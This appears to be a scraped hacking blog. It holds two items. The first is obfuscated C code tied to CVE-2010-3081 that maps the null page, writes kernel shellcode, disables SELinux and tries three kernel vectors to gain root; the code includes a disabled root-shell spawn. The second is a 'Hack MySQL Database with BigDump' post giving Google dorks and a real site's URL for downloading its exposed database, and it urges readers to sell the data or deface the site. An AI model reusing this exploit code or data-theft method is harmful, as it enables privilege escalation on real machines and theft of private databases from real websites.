    while( (ret = getopt(argc, argv, &quot;sflc:k:o:&quot;)) &gt; 0)
    {
      switch(ret)
      {
        case &#039;f&#039;:
          flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT;
          break;

case &#039;l&#039;:
   flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
   break;
        case &#039;c&#039;:
          if(!optarg || parse_cred(optarg) &lt; 0)
              __yyy_tegdtfsrer(&quot;!!! Unable to parse cred codes
&quot;);
          break;
        case &#039;k&#039;:
          if(optarg)
            _m_fops = strtoull(optarg, NULL, 16);
          else
      __yyy_tegdtfsrer(&quot;!!! Unable to parse fops numbers
&quot;);
          break;
        case &#039;s&#039;:
          if(!isSelinuxEnabled())
            __pppp_tegddewyfg(&quot;??? -s ignored: SELinux not enabled
&quot;);
          else
            flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
          break;
            
        case &#039;o&#039;:
          if(optarg)
            _m_cpu_off = strtoull(optarg, NULL, 16);
   else
     __yyy_tegdtfsrer(&quot;!!! Unable to parse cpu_off numbers
&quot;);
          break;
      }
    }
  }

if(ver &gt;= 29) // needs cred structure 
  {
    flags |= KERN_DGGDYDTEGGETFDRLAK;
  
    if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
    {
      _m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD);
      _m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD); 
      _m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD);
    }
    if(!_m_cred[0])
      error_no_symbol(&quot;prepare_creds&quot;);
    if(!_m_cred[1])
      error_no_symbol(&quot;override_creds&quot;);
    if(!_m_cred[2])
      error_no_symbol(&quot;revert_creds&quot;);
    
    __print_verbose(&quot;$$$ Kernel credentials detected
&quot;);
    *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];
    *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];
    *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];
  }
  if(ver &gt;= 30)  // needs cpu offset
  {
    flags |= KERN_DHHDYTMLADSFPYT;
    if(!_m_cpu_off)
    _m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);
    if(!_m_cpu_off)
      error_no_symbol(&quot;per_cpu__current_task&quot;);
    __print_verbose(&quot;$$$ Kernel per_cpu relocs enabled
&quot;);
    *((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;
    *((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;
  }
}

static void env_prepare(int argc, char* argv[])
{
  put_your_hands_up_hooker(argc, argv);
  if(!(flags &amp; KERN_DIS_DGDGHHYTTFSR34353_FOPS))  // try fops
  {
    __print_verbose(&quot;??? Trying the timer_list_fops method
&quot;);
    if(!_m_fops)
      _m_fops = get_sym(RW_FOPS);
    /* TODO: do RW check for newer -mm kernels which has timer_list_struct RO
     * Thanks to the guy who killed this vector... you know who you are:)
     * Lucky for you, there are more:) 
     */
    if(_m_fops) 
    {
      usefops=1;
    }
  }

if(!(flags &amp; KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel)
  {
    __print_verbose(&quot;??? Trying the LSM method
&quot;);
    curr_target = lsm_rhel_find_target(1);
    if(!curr_target)
    {
       __print_verbose(&quot;!!! Unable to find target for LSM method
&quot;); 
    }
    else {
      uselsm=1;
    }
  }

if(useidt &amp;&amp; (flags &amp; KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  {
    // -i flag
    curr_target = lsm_rhel_find_target(0);
    if(!curr_target)
    {
       __pppp_tegddewyfg(&quot;!!! Unable to find target: continue without SELinux disabled
&quot;);
       /* remove Selinux Flag */
       flags &amp;= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
    }
  }

if(!usefops &amp;&amp; !useidt &amp;&amp; !uselsm)
    __yyy_tegdtfsrer(&quot;!!! All exploit methods failed.
&quot;);  
}

static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack)
{
  int socklen_l = 8 + stack - addr - 16;
  return socklen_l;
}

static void __setmcbuffer(__dgdhdytrg55 value)
{
  int i;
  __dgdhdytrg55 *p = (__dgdhdytrg55*)buffer;
  for(i=0; i&lt;sizeof(buffer)/sizeof(void*); i++)
    *(p+i) = value;
}

static void y0y0stack()
{
  void* map = mmap((void*)Y0Y0SMAP, 
                   PAGE_SIZE, 
                   PROT_READ|PROT_WRITE, 
                   MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 
                   -1,0);
  if(MAP_FAILED == map)
    __xxxfdgftr_hshsgdt(&quot;mmap&quot;); 
}
static void y0y0code()
{
  void* map = mmap((void*)Y0Y0CMAP, 
                   PAGE_SIZE, 
#ifdef TRY_REMAP_DEFAULT 
     PROT_READ|PROT_WRITE,
#else
                   PROT_READ|PROT_WRITE|PROT_EXEC, 
#endif
                   MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 
                   -1,0);
  if(MAP_FAILED == map)
    __xxxfdgftr_hshsgdt(&quot;mmap&quot;); 
}

static int rey0y0code(unsigned long old)
{
  int fd;
  void *map;
  volatile char wizard;
  char cwd[1024];
  getcwd(cwd, sizeof(cwd));  
  strcat(cwd, &quot;/__tmpfile&quot;);

unlink(cwd);
  fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);
  if(fd &lt; 0)
    return -1; 
  write(fd, (const void*)old, PAGE_SIZE); 
  if(munmap((void*)old, PAGE_SIZE) &lt; 0)
    return -1;
  map = mmap((void*)old, 
                   PAGE_SIZE, 
                   PROT_READ|PROT_EXEC, 
                   MAP_PRIVATE|MAP_FIXED, 
                   fd,0);
  if(map == MAP_FAILED)
    return -1;

/* avoid lazy page fault handler 
   * Triple Fault when using idt vector 
   * and no pages are already mapped:)
   */
  wizard = *((char*)old);
  unlink(cwd);
  return wizard; 
}
void finish_shellcode()
{ 
  /* set shellcode level 2 */
  if(flags &amp; KERN_DGGDYDTEGGETFDRLAK)
  {
    __print_verbose(&quot;$$$ Using cred shellcode
&quot;);
    __dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));
  }
  else
  {
    __print_verbose(&quot;$$$ Using standard shellcode
&quot;);
    __dhdyetgdfstreg__((void*)J0J0R00T,  ttrg0ccc, sizeof(ttrg0ccc));
    *((unsigned int*)(J0J0R00T + R0C_0FF)) = getuid();
  }
#ifdef TRY_REMAP_DEFAULT
  if(rey0y0code(Y0Y0CMAP) &lt; 0)
    __yyy_tegdtfsrer(&quot;!!! Unable to remap
&quot;);
#endif
}
int method_idt_main()
{
  __yyrhdgdtfs66ytgetrfd *patch;
  __print_verbose(&quot;$$$ Building shellcode - IDT method
&quot;);   
  patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);
  *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  if(flags &amp; KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)
  {
    __print_verbose(&quot;$$$ including code to disable SELinux
&quot;);
    p4tch_sel1nux_codztegfaddczda(curr_target);
  }
    
  __dhdyetgdfstreg__((void*)J0J0S,  ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));
  finish_shellcode();
  asm volatile(&quot;int $0xdd
&quot;);
  return (getuid() == 0);
}
int method_idt()
{
  /* method_idt_main() crashes if no backdoor is present, so protect ourselves */
  int pid;
  pid = fork();
  if (pid &lt; 0) {
    __xxxfdgftr_hshsgdt(&quot;!!! fork() failed&quot;);
    return 0; // error
  }
  if (pid == 0) {
    int r;
    struct rlimit rlim = {0, 0};
    setrlimit(RLIMIT_CORE, &amp;rlim);
    r = method_idt_main();
    exit(r ? 0 : 1);
  }
  int status;
  waitpid(pid, &amp;status, 0);
  if (status == 0)
    return method_idt_main();
  else
    return 0;
}
void prepare_fops_lsm_shellcode()
{
  __yyrhdgdtfs66ytgetrfd *patch;
  __print_verbose(&quot;$$$ Building shellcode - fops/LSM method
&quot;);   
  patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);
  *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  __setmcbuffer(J0J0S);
  if(uselsm &amp;&amp; (flags &amp; KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  {
      __print_verbose(&quot;$$$ including code to disable SELinux
&quot;);
      p4tch_sel1nux_codztegfaddczda(curr_target);
  } 
  __dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0));
  finish_shellcode();
}
int method_fops()
{
  int fd;
  struct pollfd pfd;
  prepare_fops_lsm_shellcode();
  fd = open(TMAGIC_66TDFDRTS, O_RDONLY);
  if(fd &lt; 0)
    __xxxfdgftr_hshsgdt(&quot;!!! could not open /proc/timer_list&quot;);
  
  pfd.fd = fd;
  pfd.events = POLLIN | POLLOUT;
  poll(&amp;pfd, 1, 0);
  return (getuid() == 0);
}
int method_lsm()
{
  int msqid;
  prepare_fops_lsm_shellcode();
  msqid = msgget(0, IPC_PRIVATE|0600);
  if(msqid &lt; 0)
    __xxxfdgftr_hshsgdt(&quot;!!! msgget() failed&quot;);
  msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it
  return (getuid() == 0);
}
int main(int argc, char*argv[])
{
  int done;
  printf(BANNER);
  if (getuid() == 0) {
    fprintf(stderr, &quot;!!! Must run as non-root.
&quot;);
    return 1;
  }
  env_prepare(argc, argv);
  y0y0stack(); 
  y0y0code();
  done = 0;
  __pppp_tegddewyfg(&quot;$$$ Backdoor in LSM (1/3): &quot;);
  if (uselsm) {
    __pppp_tegddewyfg(&quot;checking...&quot;);
    done = method_lsm();
    if (done)
      __pppp_tegddewyfg(&quot;PRESENT
&quot;);
    else
      __pppp_tegddewyfg(&quot;not present.
&quot;);
  } else {
    __pppp_tegddewyfg(&quot;not available.
&quot;);
  }
  if (!done) {
    __pppp_tegddewyfg(&quot;$$$ Backdoor in timer_list_fops (2/3): &quot;);
    if (usefops) {
      __pppp_tegddewyfg(&quot;checking...&quot;);
      done = method_fops();
      if (done)
        __pppp_tegddewyfg(&quot;PRESENT
&quot;);
      else
        __pppp_tegddewyfg(&quot;not present.
&quot;);
    } else {
      __pppp_tegddewyfg(&quot;not available.
&quot;);
    }
  }
  if (!done) {
    __pppp_tegddewyfg(&quot;$$$ Backdoor in IDT (3/3): &quot;);
    if (useidt) {
      __pppp_tegddewyfg(&quot;checking...&quot;);
      fflush(stdout);
      done = method_idt();
      if (done)
        __pppp_tegddewyfg(&quot;PRESENT
&quot;);
      else
        __pppp_tegddewyfg(&quot;not present.
&quot;);
    } else {
      __pppp_tegddewyfg(&quot;NOT CHECKING
&quot;);
    }
  }
  munmap((void*)Y0Y0CMAP, PAGE_SIZE);
  /* exec */
  if(getuid() == 0)
  {
    pid_t pid;
    printf(&quot;
&quot;
           &quot;Your in-memory kernel HAS A BACKDOOR that may have been left
&quot;
           &quot;by the published exploit for CVE-2010-3081.
&quot;
           &quot;
&quot;
           &quot;More information is available at
&quot;
           &quot;  <a href="http://www.ksplice.com/uptrack/cve-2010-3081">http://www.ksplice.com/uptrack/cve-2010-3081</a>
&quot;
           );
    if (0) {
      /* spawn root shell as demonstration */
      pid = fork();
      if(pid == 0)
      {
        char *args[] = {&quot;/bin/sh&quot;, &quot;-i&quot;, NULL};
        char *envp[] = {&quot;TERM=linux&quot;, &quot;BASH_HISTORY=/dev/null&quot;, &quot;HISTORY=/dev/null&quot;, &quot;history=/dev/null&quot;, &quot;HISTFILE=/dev/null&quot;, &quot;HISTFILESIZE=0&quot;,
                        &quot;PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin&quot;, NULL };
        execve(&quot;/bin/sh&quot;, args, envp);
      } 
      else  
      {
        int status;
        waitpid(pid, &amp;status, 0);
      }
    }
  }
  else {
    printf(&quot;
&quot;
           &quot;Your system is free from the backdoors that would be left in memory
&quot;
           &quot;by the published exploit for CVE-2010-3081.
&quot;);
  }
  close(s);
  return 0;
}</code></pre>
</div>
<br />
<span class="Apple-style-span" style="-webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font: x-small arial; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><em>Regards,</em><br />
<em>Hardeep Singh</em><br />
<em>(</em><a href="http://www.fb.com/h4rdeep" target="_blank"><em>www.fb.com/h4rdeep</em></a><em>)</em><br />
</span></div>

Exploit Kernel Linux OS Root Vulnerability kernel-2.6.18-164 2010 Local Root Exploit

Kernel-2.6.18-164 2010 Local Root Exploit Save this code as a c program file. Code: /* kernel-2.6.18-164 2010 Local Root Exploit ==...

Hack MySQL Database with BigDump

3/26/2011 rahlabs 2

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="color: black;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiylI5rdlv693B9Ezuz6xa8IckLQM8ISdvta7otP8JKX_uMXxF6w6n9z0SbVPcspj4Bf4mIkBPEW6NpOVFW-ilG-E02sMi6T_HcNFu2MvJFVRQMduRCI900WGFnKDOPm4wRwkSWZth7q8go/s1600/bigdump.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Hack MySQL with BigDump" border="0" height="364" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiylI5rdlv693B9Ezuz6xa8IckLQM8ISdvta7otP8JKX_uMXxF6w6n9z0SbVPcspj4Bf4mIkBPEW6NpOVFW-ilG-E02sMi6T_HcNFu2MvJFVRQMduRCI900WGFnKDOPm4wRwkSWZth7q8go/s640/bigdump.jpg" title="Hack MySQL with BigDump" width="640" /></a></div>
<br />
enj0y the f*****g database vul. <img alt="" border="0" class="inlineimg" src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/10.gif" title="pppdddd" /><br />
<br />
you can get many websites database and u know if u got the db power is urs ...u can sell it deface the site or juss to show off <img alt="" border="0" class="inlineimg" src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" title="teeth" /><br />
<br />
its very much easy......</div>
<div style="color: black;">
<img alt="" border="0" class="inlineimg" src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" title="teeth" /></div>
<div style="color: black;">
<br /></div>
<div style="color: black;">
google dork</div>
<div style="color: black;">
<br /></div>
<div style="color: black;">
Dork For Search :</div>
<div style="color: black;">
<br /></div>
<div style="color: black;">
<br /></div>
<div class="bbcode_container" style="color: black;">
<div class="bbcode_description">
Code:</div>
<pre class="bbcode_code" style="height: 48px;"><b>inurl:/''bigdump.php''
intitle:BigDump ver. 0.29b</b></pre>
</div>
<div style="color: black;">
search the above dork over google , u will get lots of sites [ not all would be vulnerable to this exploit ]</div>
<div style="color: black;">
<br /></div>
<div style="color: black;">
here m taking an example for the brief explanation <img alt="" border="0" class="inlineimg" src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" title="teeth" /></div>
<div style="color: black;">
<br /></div>
<div class="bbcode_container" style="color: black;">
<div class="bbcode_description">
Code:</div>
<pre class="bbcode_code" style="height: 36px;"><b>http://distribution.lux.org.uk/d/bigdump.php</b></pre>
</div>
<div style="color: black;">
if u open this u will see the db file i.e,</div>
<div class="bbcode_container" style="color: black;">
<div class="bbcode_description">
Code:</div>
<pre class="bbcode_code" style="height: 36px;"><b>luxvideo_magento (2).sql</b></pre>
</div>
<div style="color: black;">
[isnt it ultimate <img alt="" border="0" class="inlineimg" src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/10.gif" title="pppdddd" /> ]</div>
<div style="color: black;">
<br /></div>
<div style="color: black;">
now , to get the db file u will have to replace the url with the db name</div>
<div style="color: black;">
like</div>
<div style="color: black;">
<br /></div>
<div class="bbcode_container" style="color: black;">
<div class="bbcode_description">
Code:</div>
<pre class="bbcode_code" style="height: 36px;"><b>http://distribution.lux.org.uk/d/luxvideo_magento (2).sql</b></pre>
</div>
<div style="color: black;">
as soon as u will execute the above url , downloading will start and rest u kn0w what u can u do <img alt="" border="0" class="inlineimg" src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif" title="teeth" /></div>
</div>

Hacking Tutorials MySQL SQL Injection Tutorials Vulnerability Hack MySQL Database with BigDump

enj0y the f*****g database vul. you can get many websites database and u know if u got the db power is urs ...u can sell it deface th...